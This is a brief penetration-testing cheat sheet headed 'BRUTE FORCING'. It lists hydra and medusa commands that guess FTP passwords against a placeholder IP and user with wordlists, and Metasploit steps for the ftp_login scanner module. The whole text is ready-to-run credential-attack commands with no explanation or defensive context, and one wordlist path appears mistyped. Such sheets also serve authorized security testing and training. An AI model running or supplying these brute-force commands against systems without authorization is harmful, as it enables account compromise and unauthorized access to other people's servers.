BRUTE FORCING

>>> hydra -l $user -P /usr/share/john/password.lst ftp://$IP:21

>>> hydra -l $user -P /usr/share/wordlistsnmap.lst -f $IP ftp -V

>>> medusa -h $IP -u $user -P passwords.txt -M ftp


========================Bruteforce with metasploit
msf > search type:auxiliary login
msf> use auxiliary/scanner/ftp/ftp_login